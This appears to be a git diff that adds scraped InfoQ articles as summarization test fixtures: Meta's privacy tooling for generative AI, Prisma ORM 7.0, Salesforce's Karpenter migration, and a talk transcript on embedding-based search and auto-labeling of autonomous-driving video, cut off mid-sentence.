via PrivacyLib (Source: Meta Tech Blog) Policy-based controls have also been added to govern how data can be stored, accessed, and used for specific purposes. These controls evaluate data flows at runtime, detecting and responding to violations as they occur. Enforcement actions can include logging, blocking prohibited flows, or routing data through approved pathways, engineers outlined. From lineage to proof via Policy Zones (Source: Meta Tech Blog) Meta's engineer describes this infrastructure as supporting GenAI-enabled products that generate continuous streams of interaction and sensor data, including wearable devices, and how privacy infrastructure allowed Meta products to evolve without introducing manual approval bottlenecks, while still enforcing constraints on data usage, retention, and downstream processing. Privacy workflows are organized around four stages: understanding data, discovering data flows, enforcing policies, and demonstrating compliance. These stages are supported by automated tooling that produces audit artifacts and compliance evidence as part of normal system operation. According to Meta engineers, scaling privacy for generative AI is an ongoing effort. As AI capabilities advance, enhanced lineage analysis and developer-facing tools are being integrated to manage increasingly complex data flows and support privacy enforcement across systems. PAI continues to evolve to meet these demands while enabling the development of AI-powered products without introducing manual bottlenecks. About the Author Leela Kumili Leela is a Lead Software Engineer at Starbucks with deep expertise in building scalable, cloud-native systems and distributed platforms. She drives architecture, delivery, and operational excellence across the Rewards Platform, leading efforts to modernize systems, improve scalability, and enhance reliability. In addition to her technical leadership, Leela serves as an AI Champion for the organization, identifying opportunities to improve developer productivity and workflows using LLM-based tools and establishing best practices for AI adoption. She is passionate about building production-ready systems, enhancing developer experience, and mentoring engineers to grow in both technical and strategic impact. Her interests include platform engineering, distributed systems, developer productivity, and bridging technical solutions with business and product goals. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_prisma-7-performance_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_prisma-7-performance_.txt new file mode 100644 index 0000000..6de1c28 --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_prisma-7-performance_.txt @@ -0,0 +1,6 @@ +Prisma, the widely-adopted TypeScript-first ORM for Node.js, has released Prisma ORM 7.0, delivering performance improvements, a dramatically smaller footprint, and enhanced developer experience through a complete architectural shift away from Rust. Prisma ORM 7.0 introduces several transformative changes, including a Rust-free client runtime built entirely in TypeScript, generated code moved out of node_modules, a new dynamic configuration file, and significantly faster type generation. The release also brings improvements to Prisma Postgres, their managed database offering, which now supports standard Postgres connection protocols. One of the most significant changes in Prisma 7 is the complete removal of the Rust-based query engine in favor of a TypeScript implementation. While this might seem counterintuitive given Rust's performance reputation, the Prisma team found that the communication layer between Rust and the JavaScript runtime created bottlenecks. The new architecture delivers 90% smaller bundle sizes, 3x faster query execution, and lower CPU and memory utilization. The changes also enable simpler deployments for edge runtimes like Vercel Edge and Cloudflare Workers, where binary dependencies previously caused complications. The syntax for adopting the new client is straightforward. Developers simply need to update their schema provider from prisma-client-js to prisma-client: generator client { + provider = "prisma-client" +} + + Community response to the Rust removal has been mixed but largely positive. One Reddit user noted they tested it myself on a smaller project locally and clearly felt it was much faster than the previous Prisma 6. However, some developers have raised concerns, with GitHub issues questioning whether the advertised 3x performance improvement holds true across all workloads. The Prisma team have posted an article as a response to these concerns with a detailed benchmark methodology and acknowledged they are continuing to refine measurements based on community feedback. They also mention they will be Optimizing the parts of Prisma 7 that these benchmarks stress. Prisma 7 also addresses a long-standing pain point by moving generated artifacts out of node_modules and into the project source code by default. This change means that when developers run prisma generate after schema modifications, file watchers and build tools can react immediately without requiring application restarts. Additionally, the new config file separates project configuration from data schema, allowing dynamic configuration using JavaScript or TypeScript. Type generation has seen huge improvements through collaboration with David Blass, creator of ArkType. Prisma now requires 98% fewer types to evaluate a schema and is 70% faster when performing full type checks compared to previous versions. This puts Prisma ahead of competing ORMs like Drizzle in type evaluation performance. For developers migrating from earlier versions, Prisma provides an upgrade guide covering breaking changes, including the removal of the deprecated Metrics preview feature and updates to minimum Node.js and TypeScript versions. The team has also made migration tooling available through AI coding assistants to streamline the upgrade process. Prisma is an open-source ORM developed and maintained by Prisma Data, designed to simplify database workflows in TypeScript and JavaScript applications. It competes with alternatives like Drizzle, Kysely, and TypeORM, offering end-to-end type safety from database to application code. Prisma supports PostgreSQL, MySQL, SQLite, MongoDB, SQL Server, and CockroachDB. About the Author Daniel Curtis Daniel Curtis is a UI Development Manager at Griffiths Waite, a software consultancy based in Birmingham, UK. He leads front-end engineering efforts with a strong focus on delivering innovative enterprise solutions using TypeScript across the stack. Daniel is passionate about modern web architecture, developer experience, and the use of AI to both support software delivery and solve real customer problems within products. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_news_2026_01_salesforce-eks-karpenter_.txt b/tests/summarization/https___www.infoq.com_news_2026_01_salesforce-eks-karpenter_.txt new file mode 100644 index 0000000..751bc4f --- /dev/null +++ b/tests/summarization/https___www.infoq.com_news_2026_01_salesforce-eks-karpenter_.txt @@ -0,0 +1,2 @@ +Salesforce has completed a phased migration of more than 1,000 Amazon Elastic Kubernetes Service (EKS) clusters from the Kubernetes Cluster Autoscaler to Karpenter, AWS’s open-source node-provisioning and autoscaling solution. The large-scale transition aimed to reduce scaling latency, simplify operations, cut costs, and enable more flexible, self-service infrastructure for internal developers across the company's extensive Kubernetes fleet. Facing limitations with Auto Scaling group-based autoscaling and the Cluster Autoscaler, including slow scale-up times, poor utilization across availability zones, and a proliferation of thousands of node groups, Salesforce’s platform team built custom tooling to automate and manage the migration safely and reliably. This approach combined carefully orchestrated node transitions with automation that respected Pod Disruption Budgets (PDBs), supported rollback paths, and integrated with the company’s CI/CD provisioning pipelines. The migration journey began in mid-2025 with lower-risk environments and progressed through testing and validation phases before production adoption in early 2026. Salesforce’s engineers developed an in-house Karpenter transition tool and patching checks that handled node rotation, Amazon Machine Image (AMI) validation, and graceful pod eviction, enabling repeatable and consistent conversion across diverse node pool configurations. Through this transition, the team resolved operational challenges such as misconfigured PDBs that blocked node replacements, Kubernetes label length constraints that caused automation failures, and workload patterns where Karpenter’s efficient bin-packing needed adjustments to prevent disruptions for single-replica applications. These insights led to refined practices, including proactive policy validation and workload-aware disruption strategies. Salesforce reported measurable operational and cost improvements following the migration. By adopting Karpenter's dynamic provisioning model, cluster scaling latency decreased from minutes to seconds, node utilization improved through smarter bin-packing, and reliance on static Auto Scaling groups was significantly reduced. Operational overhead decreased by approximately 80%, as automated processes replaced manual node group management, enabling developers to declare node pool configurations themselves. This acceleration of onboarding reduced dependency on central platform teams. Additionally, initial results showed cost savings of about 5% in FY2026, with an anticipated further 5–10% reduction in FY2027 as Karpenter's bin-packing and spot instance utilization continue to optimize resources. Salesforce's migration highlights broader trends in large-scale Kubernetes operations, where traditional autoscaling mechanisms struggle to keep pace with dynamic workloads and heterogeneous infrastructure demands. Karpenter's real-time decision-making, support for heterogeneous instance types (including GPU and ARM), and tighter integration with cloud APIs enable faster responsiveness and more efficient node usage compared to Cluster Autoscaler. Other organizations undertaking large-scale transitions from traditional Kubernetes autoscaling to more dynamic solutions like Karpenter have faced many of the same structural challenges that Salesforce documented. For example, Coinbase has publicly described its move toward Karpenter to handle complex mixed-workload clusters with variable demand patterns, citing improvements in scale-up latency and resource efficiency while reducing operational friction caused by static node groups. In a similar vein, BMW Group shared how adopting Karpenter across its automotive platforms allowed better use of spot instances and workload-aware scheduling, enabling faster developer feedback loops and reduced infrastructure cost volatility. These cases echo Salesforce's observation that Cluster Autoscaler's reliance on predefined Auto Scaling groups and slower decision paths can hinder responsiveness in environments with diverse and bursty workloads. What sets Salesforce's migration apart is its scale and automation tooling: transitioning over 1,000 distinct EKS clusters required bespoke tooling to handle policy validation, Pod Disruption Budget constraints, Kubernetes label limits, and incremental rollout automation at a fleet level. Other companies have reported benefits from Karpenter in individual clusters or smaller fleets, but Salesforce's approach emphasizes repeatable, automated conversion at enterprise scale with integrated rollback and compliance safeguards. In practice, this meant not just replacing autoscaling logic, but also harmonizing workload patterns, governance controls, and developer self-service expectations across a global platform. While the end goals: faster scaling, better utilization, and reduced manual overhead, are shared across these migrations, Salesforce's blueprint highlights the operational discipline and custom automation required to bring such benefits to large, production-critical environments. As enterprises increasingly adopt Kubernetes for mission-critical services, Salesforce's experience offers a blueprint for other organizations weighing similar transitions, demonstrating that automated, federated autoscaling can lead to substantial gains in performance, cost efficiency, and developer velocity - provided that careful planning and tooling support underpin the change. About the Author Craig Risi Craig Risi is a man of many talents but has no sense of how to use them. He could be out changing the world but prefers to make software instead. He possesses a passion for software design, but more importantly software quality and designing systems in a technically diverse and constantly evolving tech world. Craig is also the writer of the book, Quality By Design: Designing Quality Software Systems, and writes regular articles on his blog sites and various other tech sites around the world. When not playing with software, he can often be found writing, designing board games, or running long distances for no apparent reason. Show moreShow less +============== diff --git a/tests/summarization/https___www.infoq.com_presentations_autonomous-driving-data_.txt b/tests/summarization/https___www.infoq.com_presentations_autonomous-driving-data_.txt new file mode 100644 index 0000000..d875967 --- /dev/null +++ b/tests/summarization/https___www.infoq.com_presentations_autonomous-driving-data_.txt @@ -0,0 +1,2 @@ +Transcript Kyra Mozley: Let's kick things off with a video. As you watch it, I want you to think about how you might go about describing what's happening in the scene, and how maybe you could implement something to find scenes similar to it in a large corpus. Maybe you're thinking you could use object detection methods to work out there's something in the road. It's a good approach, but what about this scene? How would you describe it? This scenario is what we would call an edge case. It's a rare, unexpected, or unusual scenario that falls outside our typical operating conditions. Most driving scenarios encountered by autonomous vehicles involve routine tasks such as lane following, maintaining safe following distances, and navigating predictable road conditions. Because these common scenarios often dominate driving datasets, it's rare but critical edge cases like these that often become underrepresented. Finding these edge cases, such as a cyclist suddenly falling off their bike in front of us, it's a bit like searching for a needle not just among one haystack, but many haystacks. Despite their rarity, these scenarios pose significant safety risks and represent the toughest challenges for autonomous systems. Therefore, explicitly identifying, retrieving, and understanding these edge cases is essential, not just for enriching training data, but also for rigorously evaluating the robustness and safety of autonomous vehicles. By prioritizing edge case discovery, we ensure that our models can handle not only the predictable majority of cases, but also the unpredictable minority of events critical for real-world safety and reliability. Background Before diving deeper into how we can discover these edge cases, let me first introduce myself. I'm Kyra. I have a background in computer science. I spent some time doing some research on deepfake video detection before ending up as a machine learning engineer for Wayve, who are an autonomous vehicle startup company based in London. At Wayve, we're building AV 2.0. It's an end-to-end approach to driving. This means we don't need fancy LiDAR sensor stacks or HD maps. We're learning how to drive just from raw input data. We've seen that this approach has enabled us to expand across multiple vehicle platforms and multiple geographies very quickly. My day-to-day focuses not on training models for the cars to drive themselves, but on finding useful data in our large corpus that we can then use for training and evaluation. Outline Here's what we'll be covering today. First, we'll start with the traditional computer vision approach, how we've historically solved perception tasks using task-specific models and annotated datasets. I'll walk through why this pipeline has worked well in the past, but also where it starts to fall apart at scale. Then, I'll introduce what I'm branding Perception 2.0, a new way of working with video data that's built on semantic embeddings. We'll explore how this approach allows us to move from raw video to structured understanding with foundation models without needing to train a new model for every task. From there, we'll take a step back and look at the landscape of foundation models available today. I'll highlight what types of inputs they support, what kind of outputs they produce, and how to pick the right one or right combination for your workflow. Once we've set the foundation, we'll dig into the workflows you can build on top of embeddings, covering things like search, RAG-inspired techniques, and clustering. These methods let us retrieve edge cases, explore structure in our data, and organize unlabeled video at scale. Then, we'll look at how we go from unstructured data to labels with auto-labeling. I'll show how we can use models like SAM and CLIP to automatically generate labels, both object-level and structured scene metadata, and how we ensure quality with techniques like consensus labeling. Finally, we'll talk about how we can go beyond zero-shot prompts and attach zero-to-few shot adapters, small task-specific heads trained on top of our embeddings for classification and regression. This lets us tune our perception system to specific needs with just a handful of labeled examples without having to retrain a whole model. Traditional Computer Vision Approach To understand where we're going, we need to look at where we've been. For years, we had these perception tools in our computer vision toolbox for understanding scenes. All of these techniques are powerful. They're the standard ways we use to figure out what was going on in an image or a video. Each one typically focuses on a specific task, so segmentation assigns a class to every pixel. Object detection localizes objects with bounding boxes. Optical flow estimates motion across frames. With some of these methods, such as segmentation or cuboids, you define a fixed set of classes you want to detect up front, like vehicle, pedestrian, bike, and the model learns to assign those classes to those pixels. This predefined taxonomy gives you a structured and consistent way to interpret the scene, which is great for downstream processing and creating metrics off of them. These tools are also incredibly useful for generating structured signals from our data. With segmentation and cuboids, we can calculate following distances to other vehicles. We can measure the traffic density in the scene and estimate objects' speeds of vehicles around us. We can track the number of drivable lanes. These kinds of metrics are key for mining specific behaviors from the dataset, whether we're searching for merging scenarios or simply trying to balance our training data between different conditions. Now that we've established we want to detect whether there are people in the scene using segmentation, or maybe we want to localize traffic signs with bounding boxes using object detection, how do we actually go about training and deploying these models? In computer vision, we've followed a fairly standard pipeline for years, and it looks something like this. Your first step, get your data. In the autonomous driving world, that means a fleet of vehicles driving around, capturing sensor data, typically multi-camera video feeds, sometimes LiDAR or radar. Then we'll end up with countless hours of driving footage across different weather conditions, lighting conditions, and locations. From that raw stream, we can filter out segments that are irrelevant or unusable, say, runs with bad calibration or bad sensor data. We try to focus on scenes that are diverse across different locations, so motorway, urban, day, night, busy, empty. You want to get a real range of data to give the model you're about to train a best shot at generalizing. Then comes often the most resource intensive part. Traditionally, we rely on teams of human annotators to go frame by frame, drawing these bounding boxes around cars, outlining lane markings, tagging traffic lights, pedestrians, and so on. Before they even begin the task of labeling, you often have to develop a detailed label specification that you will then give to the labeling providers. This spec defines exactly how every object should be interpreted. Writing this detailed document can be very time consuming, and you also normally have to develop a contract with an external labeling provider. Managing this relationship means more of your time, as you now have to have meetings with them to describe exactly what you want from the project. Labeling hundreds of thousands of frames can take weeks or months, and this step can also cost you hundreds or thousands of pounds annually. Unfortunately, this step is the most vital, as without ground truth, we can't train a good model. Once the data is labeled, it feeds into the model training pipeline. Historically, this meant using CNNs, like ResNet or EfficientNet, or more recently, vision-based transformers. Training these large-scale models typically requires distributed GPU clusters, or TPUs, depending on your dataset size, and can also take days or weeks to complete. Once the model is trained, we evaluate it on a held-out validation set, tracking metrics like mean intersection over union, average precision, recall, accuracy, depending on what the task was. If it passes our internal benchmarks, we'll deploy it, perhaps for online inference, or as part of our offline data mining tools. The work doesn't stop there. A critical part of the lifecycle is ongoing monitoring, because once a model is deployed in the real world, data drift is inevitable. Let's say we've trained a traffic sign detection model, and it performs well in the UK, but now we've expanded our fleet to Germany, and suddenly we're seeing unfamiliar signs. Blue circular signs to indicate lane instructions, or new construction markers. The model starts to struggle, and it might misclassify signs, or fail to detect them entirely. What do we do? We have to go right back to the start, collect the footage from the new region, create examples of unfamiliar signage, annotate thousands of frames again with the bounding boxes and sign types. We might have had to write a new labeling spec for this new German taxonomy, and then retrain the model, and reevaluate, redeploy. This entire process is costly, both in terms of time and annotation budget, and this was just for one task, just for traffic sign detection. While the traditional pipeline is effective at delivering high-performance perception models, it's also inflexible. Every time the world changes, whether that's a new country, or a new sensor stack, or a new behavior we care about, we're forced to loop through this whole pipeline again. If that wasn't complex enough, remember that you're rarely just solving one vision task in autonomous driving. Typically, you need parallel pipelines for each distinct perception objective. Here we have one pipeline for semantic segmentation to get pixel-level environmental context, another dedicated to depth estimation to get accurate distance measurements, another for 3D cuboid detection for tracking and modeling moving objects like cars, pedestrians, cyclists. Each pipeline independently demands its own labeled dataset, distinct annotation specs, and specialized training procedures. Managing all of these pipelines in parallel quickly becomes expensive and operationally challenging, especially as datasets grow in size. Coordination becomes cumbersome, and scalability is a significant bottleneck. We've touched on how these methods help us extract metrics about the scene. For example, we said that we could get following distance by combining cuboids with depth, and we could find out if there was a large traffic density or if there was a person on the road using segmentation. This was our attempt to make unstructured video data structured. Is this actually enough to capture all the diverse scenes we might see? How does it enable us to find the edge cases? Let's revisit our early examples to illustrate this point. Using semantic segmentation, we identified that there was something on the road, but table wasn't in the original segmentation class, so that's not technically right. These traditional methods generally cannot provide the accurate semantic descriptions of such rare events, as we see the person actually ends up being labeled as road furniture when she is on the floor, probably because people on the floor weren't in the training dataset for the segmentation model. Similarly, we see that she loses the cuboid mask when she's on the floor. These traditional computer vision methods haven't actually helped us understand the scene, and if anything, they failed on the edge cases themselves. Let's take a moment to reflect on the downsides of this traditional perception pipeline. First, it's expensive. Getting high-quality human-labeled data is costly, both in terms of money and time. You often don't just label once. For every new perception task you want to support, you often need to start the annotation process again. That means more data, more labeling contracts, more budget. Second, it's time-consuming. Each loop through this pipeline, collecting new data, labeling it, evaluating, is long, and because it's a sequential process, any bottleneck will slow everything down. This delays iteration, innovation, and ultimately your ability to respond quickly to new business needs. Third, it's limited with predefined labels. Models like segmentation and object detection rely on fixed class lists. That label set needs to be carefully thought through up front. What are you detecting? What aren't you? What level of granularity do you want? Finally, it doesn't capture complex scenarios. Even if you were to detect a person and a bicycle, the system won't infer that the person is in the middle of falling. Capturing that level of nuance requires action recognition models, adding more complexity, more modules, and still limited generalization. You will often end up with a collection of narrowly focused models that struggle to stitch together the full picture of what's really going on in the scene. In short, traditional computer vision can do a lot of the heavy lifting, but it only sees what it's been trained to see. It struggles with anything outside its known classes, and it fails to capture the narrative, the why, the how, that are so important for understanding data. You've probably heard the phrase, a picture is worth a thousand words, and today I want to take that idea seriously and show how it can transform the way that we approach perception problems. Traditionally, we've reduced scenes to simple outputs that we've seen, like bounding boxes and segmentation masks, and we've seen how they're limited in what they can express. What if, instead, we could describe a scene the way a human might, in rich, expressive, natural language? Not just bike, person, road, but, a woman on a bicycle swerves into traffic and falls directly in front of the car. Better yet, what if we could turn those descriptions into something that a machine could understand and search across at scale? That's where embedding is coming. If we embed images and text into the same space, then we can do some really powerful things. We can search video datasets using natural language. We can find similar moments without needing explicit labels. We can train classifiers with just handfuls of examples instead of thousands. Let's make this real. Here, I gave the same cyclist video we saw earlier, and I gave it to our favorite, ChatGPT. We tried to originally interpret this with perception tools, but none of them could really tell us what was happening. Now we pass the video to GPT, and what do we get? A woman riding a bicycle suddenly swerves into traffic cones and falls off her bike directly in front of a moving car. That's not just detection, it's not just classification, that's narrative understanding. The model identifies actions, swerves, falls. It understands relationships in front of a moving car. It's these kinds of insights that are almost impossible to extract unless you've built very custom pipelines. Here, we get it all from a single-purpose foundation model. No fine-tuning, no manual labeling, just pre-training at scale. This demonstrates an extraordinary shift. Instead of training models to detect predefined labels, we allow a powerful pre-trained language and vision model to generalize from its vast background knowledge, effectively zero-shot labeling this complex scene. Perception 2.0 This brings us to what I call Perception 2.0, a new way of understanding visual data that's been made possible by the rise of foundation models and embeddings. These foundation models, such as CLIP or GPT-4 Vision, are trained on internet-scale data, often across multiple modalities like images and text. They've learned to build deep, general-purpose representations of the world. At the heart of this shift is a concept called an embedding. An embedding is a dense numerical vector, usually hundreds of thousands of dimensions. It captures the semantic meaning of an input, whether that's an image, a sentence, or even a short video. Embeddings let us represent data in a shared space where similar context lives near each other. One example you might have heard of is that a king minus man plus woman equals queen. The model has learned the relationships between concepts, not just the labels. It knows the concepts of gender, and it knows that king is to man as queen is to woman. Image models like CLIP extend this idea, except they're not just embedding words, they're embedding images and text into the same space. What does that mean? It means if I embed a photo of a cyclist and I embed the sentence, a person on a bicycle, these two vectors will land near each other in the shared space. This is the core of Perception 2.0. Instead of training separate models for every task, we use a foundation model to embed our data once. That embedding encodes rich semantic meaning, and we can build fast, flexible workflows on top, search, clustering, classification, without having to touch raw pixels or labels. In other words, a picture is worth a thousand words, and today it's also worth a high-dimensional vector. Foundation Models Overview There are a lot of foundation models out there, and it was hard to decide which one should make the cut for this slide. I wanted to provide a quick overview of the landscape, and I went for the ones that were most relevant to the kind of work we've been doing. Ones that have native good semantic understanding and are good for retrieval and large-scale video analysis. There are plenty more out there. You can check on Hugging Face for all the rankings. It will only be a matter of time before this slide's also out of date. When evaluating what model you want to use, there are a key few dimensions you can consider. First, access. Some models are completely open source, meaning we can run them on our hardware at scale or fine-tune them if we wanted to. Others are API-only. These models tend to be more capable of reasoning and generation, but they often cost to call. It really depends on your workflow. Do you want the full control and scale, or are you optimizing for rapid prototyping? Input modality is another key access here. Most models work with images and text, but a few go further. InternVideo2 is designed specifically for video, so it's great for RAV use cases where temporal understanding matters. ImageBind is another really interesting one, and it supports up to six input modalities, including audio, depth, and IMU. That opens up a lot of possibilities for cross-modal learning. You'll also see that most of these models output embeddings, which is critical for the kind of similarity search, clustering, and classifier training we'll be talking about. Some also output text, making them useful for structured scene descriptions or visual question answering, VQA. If your goal is structured metadata extraction or even automating annotation, these might be worth exploring. You can also combine models. For example, we might use InternVideo2 to embed a 5-second video segment and then use CLIP or GPT-4 for text prompts and label generation. Rather than trying to pick the best one, you want to make sure that you just build a flexible foundation model agnostic inference pipeline that lets you easily swap out components as the model landscape evolves. The key takeaway here is foundation models give us flexible modular toolkit for perception tasks, but the real power comes from understanding what each model is good at and how to compose them together for your specific problem. I mentioned that you had a choice between using Open or API. Your choice will depend whether you want to self-host it. It can potentially be cheaper at larger scale, and it gives you full control over the data. You need in-house expertise and infrastructure to manage these GPUs at scale and to perform versioning and stuff. However, if you use API-based, such as OpenAI or Claude, there's obviously now minimal overhead as you're not having to manage these GPU clusters. They're often very easy to integrate into your own tools, but it can get expensive if you're processing millions of images. Also, you might have data privacy concerns. Can you be sending your data to these external services? That's something you'll have to check with your in-house legal teams before you do. If you're a startup, an API may get you value faster. Or if you're a larger org with a dedicated infra, in-house will give you the longer-term control. Search, RAG, and Clustering Let's walk through a concrete example of how embedding-based search works in practice. Say we have a dataset of 1 million video frames captured during highway driving. For each frame, we compute an embedding using a foundation model, like InternVideo, and that outputs a high-dimensional vector representation of the frame semantic content. Once we've generated these embeddings, we store them in a vector database. These databases are optimized to support fast similarity search over high-dimensional spaces, even when you're working with tens or hundreds of millions of vectors. Suppose we want the scenes in our dataset where someone is falling off a bicycle. With traditional perception methods, we've seen this is really hard, but with embeddings, it's dramatically simpler. Instead of designing a bespoke model, we treat it as a semantic search problem. We write the natural language query, a person falling off a bicycle. We then embed that query using the same foundation model, and this gives us a query vector in the same semantic space as our image embeddings. We can then perform a similarity search to find the closest vectors to our query. Under the hood, vector databases use algorithms to perform this search, such as cosine similarity. To make this fast at scale, they rely on approximate nearest neighbor algorithms. These nearest neighbor algorithms can retrieve the top K most semantically similar frames in milliseconds, even from a database with hundreds of millions of entries. The magic here is that we never trained a model to detect falling. We didn't even label falling. We didn't predefine a class, but the model still retrieves relevant frames. Why? Because the concept of falling is already encoded in the shared image text embedding space, thanks to the model's large-scale pre-training across internet data. The semantic relationships between falling, bike, person, and dangerous event are already there. We've seen how embedding-based search allows us to find semantically similar scenes by embedding a natural language query into the same space as our video or image embeddings, but like any tool, it has limitations, especially when working with real user queries and long-tail concepts. One of the biggest challenges I've found is something we deal with all the time in driving data, and that's positional language. Consider these two descriptions. A cyclist is in front of the car, and we are behind a cyclist. They mean exactly the same thing, but some vision language models don't handle these kinds of perspective shifts very well. Why? Because their text embedding space isn't spatially grounded. They're trained to align what's in the image, not always where it is or how it relates to the camera's position. This is where we can borrow ideas from RAG, and apply them to perception search. Here, we're not generating responses, but the RAG philosophy still holds. We can use external retrieval and model augmentation to improve results. In our case, we can apply this by rewriting, enriching, and reranking queries. Instead of embedding a single query and hoping it hits, we can generate multiple rephrasings. For example, we take biker falls in traffic, and we can use a language model to generate variants of that phrase. These variants are embedded individually and searched in parallel. This helps us cover gaps in the model's understanding, especially for directional or causal phrases that embeddings don't always encode reliably. Once we've embedded all the variants, we can combine them in a few ways. We can either average their embeddings to create a single fused vector that we can then search for similarity to, or we can search each separately and then merge the top results. This is called multi-query fusion, and it increases recall, especially for vague or context-dependent queries. After retrieval, we often have a list of pretty good matches, but they're not always perfectly sorted, especially when we're working across phrasing or visual ambiguity. We could apply a reranking step, use a cross-modal model to rescore retrieved scenes based on alignment with the original query, so we could use another captioning model to describe the scenes and check, does this really show a cyclist falling in front of a vehicle? Reranking can help us prioritize precision after we've maximized recall. This technique works incredibly well for driving datasets, where users describe scenes from the ego perspective. Positional reasoning, such as in front of, to the left, coming towards us, is crucial. By applying RAG style techniques to search, we can overcome limitations in the embedding model's linguistic grounding and get better coverage of the scenes we actually care about. Embedding-based search is powerful, but not perfect. When we augment it with query rewriting and reranking, we turn it into a robust tool for retrieving high-value data at scale. So far, we've talked about how embeddings allow us to perform powerful semantic search, but embeddings aren't just useful for retrieval. They also enable us to group similar data together, even when we don't know exactly what we're looking for. This is where clustering comes in. By running clustering algorithms on embedding vectors, we can automatically discover structure in our data and generate labels from the bottom up, without any supervision. Clustering algorithms allow us to find dense regions or natural groupings in the embedding space. We can think of this as unsupervised labeling. Instead of relying on handcrafted taxonomies, we let the data organize itself based on its semantic structure. Let's say we embed 1 million frames again from our driving dataset. Now we have 1,001,024 dimensional vectors, and we can feed these into a clustering algorithm like k-means, which is the classical approach. You specify the number of clusters you want, and it will find group centroids to minimize the cluster distance. Or maybe you use DBSCAN. This is what vector databases will normally use. It will find the clusters of points that are densely packed together and labels outliers as noise. These algorithms help us to partition our embedding space into meaningful clusters. What do we do with the clusters? This gives us very powerful capability. We can assign cluster-based labels to data, even if we never defined those labels ahead of time. Let me give you a couple of concrete examples from the autonomous driving domain. When we run clustering over a large dataset, we might find that one cluster contains frames where the vehicle is just following clear lanes on a straight road. These frames are semantically similar. They're low complexity, low interaction, and visually consistent. We can label this cluster as lane following and treat it as one behavioral competency. If we want to balance our training data or avoid overfitting to common patterns, we might downsample from this cluster. Another cluster might contain frames that are visually very different from the rest. Dark images, overexposed scenes, or frames with raindrops or lens glare. These may represent bad data, frames with poor visual quality that we don't want in our training or evaluation sets. By clustering, we discover these outliers automatically. We don't need to write a rule to detect raindrop on lens. The model already knows what normal looks like, and clustering reveals the frames that don't belong. This approach works well for a few reasons. Embeddings from foundation models already encode a lot of semantic information. Clustering is unsupervised, so we don't need manual labels to get started, and it automatically surfaces patterns or anomalies. Once we've identified interesting clusters, we can assign soft or hard labels and use those for filtering, training, or analysis. We can even build simple UIs that let humans quickly scan frames from each cluster and assign high-level labels in minutes, what used to take days of work. Instead of starting with labels and finding data, we start with the embeddings and let the data find the labels. In the era of petabyte-scale autonomy data, that's not just a nice-to-have, it's essential. Auto-Labeling Earlier, I walked you through the traditional perception pipeline, and I highlighted one of the biggest pain points was manual data annotation. Clustering gives us one way to discover structure in our data. It helps us surface patterns and group similar scenes together. The next question becomes, how could we create more structured data automatically at scale? That's where auto-labeling comes in. Auto-labeling is the process of generating labels automatically from raw data using pre-trained models or heuristics without involving human annotators. It's a fundamental shift from manual labeling to programmatic labeling, and foundation models have made it vastly more powerful and practical. These models give us tools that don't require custom training for every task. They don't need ten-thousands of examples per class, and they don't lock us into rigid label taxonomies. Let's walk through an example. Suppose we start with SAM, the Segment Anything Model. It's great for identifying objects in an image, even if it doesn't know what they are. It gives us segmentation masks, so here's one object, here's another. Next, we can take each of these segments and pass them through CLIP to determine what they represent. We do this by comparing the embedding of the segment to the embedding of a set of natural language prompts, like an image of a car, a person, a road sign. In the shared embedding space, the segment will naturally cluster closest to the most semantically similar text prompt. In this case, road sign. That similarity gives us a label without any human input, training, or bounding box drawing. Alternatively, we could use models like Grounding DINO, which already directly align text with bounding boxes, so you can say a person crossing the road, and get a spatially grounded result straight from the model. This kind of pipeline gives us object-level labels at scale with no manual effort and no task-specific model training. We're not just limited to classifying objects. Foundation models can now generate structured scene descriptions, too. Let's say we wanted to label metadata, like scene features, such as weather or road conditions. Traditionally, you'd have to train separate classifiers for each of those fields, collect data, write specs, annotate thousands of examples. Now, we can just define a JSON schema like this and prompt a multimodal model, like GPT-4 Vision, to fill it in directly from an image or video segment. The model sees the whole scene, it understands the semantics, and it returns a structured output in a single pass. Auto-labeling can be incredibly powerful, but it's not perfect. Models can hallucinate, they can misinterpret scenes, or give inconsistent results depending on your phrasing. When we rely on foundation models to generate labels at scale, we need tools to validate and refine those outputs without throwing humans back into the loop full-time. One of the most effective techniques we use is called consensus labeling. The idea is simple. Instead of trusting a single model or a single prompt, we can generate multiple candidate labels and look for agreement across them. You might run the same prompt across multiple models, or run multiple prompts through the same model. Maybe you have one prompt that's more verbose, one that's concise, and one that's schema-based. You can then aggregate the outputs using voting, confidence thresholds, or even small ensemble rules to decide on what the final label should be. This helps filter out outliers, reduce hallucinations, and add stability to your labels. Some models even output token-level or field-level confidences, so you could use these to drop low-confidence labels or flag frames for manual review. These techniques make auto-labeling more than just fast, they make it reliable. Let's revisit the original perception pipeline we looked at earlier. For many use cases, we can now actually cross out the two of the most expensive and time-consuming stages. Instead, now we rely on pre-trained foundation models to extract the semantic meaning from raw data, and vector databases to store these embeddings and power search, clustering, and labeling workflows. Rather than building a new model every time we need a new perception output, we can prompt, embed, retrieve, and validate. Whereas previously, you'd spend weeks designing label schemas, months sending data out for annotation, and more time retraining models, now you can just prompt a model, label at scale, and generate insights across your video in hours, not weeks. Evaluation still matters, but it's evolving. Previously, we might have evaluated segmentation models by checking if it drew a mask correctly over a pedestrian, but now, if we're using a VQA model or a captioning model, we'll need to ask, did the model say that a pedestrian was present? Did it understand the scene correctly? Are we surfacing the right results during search? While our metrics might shift from pixel-wise IOU to things like recall at 10, the underlying principle remains. We still need to verify that what we're getting is what we care about. Perception 2.0 doesn't throw the old pipeline away, it retools it. It makes it faster, more flexible, and more scalable. Zero-to-Few Shot Adapters By now, we've seen how foundation models can help us auto-label massive datasets quickly, flexibly, and often with surprisingly good results. Here's the next natural question, what if we need more accuracy? Maybe you're building a safety critical evaluation set, maybe you're doing fleet-wide metrics on an edge case, or maybe you're training a downstream model that needs really high-quality labels. In those cases, it's not enough to rely entirely on auto-labels or zero-shot outputs, but that doesn't mean we go back to full-scale manual annotation or training a model from scratch. Instead, we take the embeddings we've already generated from foundation models and we train a small task-specific classifier on top. This approach gives us the best of both worlds, the semantic richness of large foundation models with the precision and control of custom classifiers tuned to our exact use case. The pipeline looks like this. Start with your raw inputs, whether that be images, video, text. Pass them through the foundation model to get your dense embedding vectors, and store those vectors in a vector database or keep them in memory for training. Then, train a simple classification head using a small neural network on top of these embeddings. These models are incredibly lightweight, I'm talking several layers. We've found that they converge with just 10 to 30 labeled examples per class. Because the embeddings already encode so much context, they generalize really well with such tiny 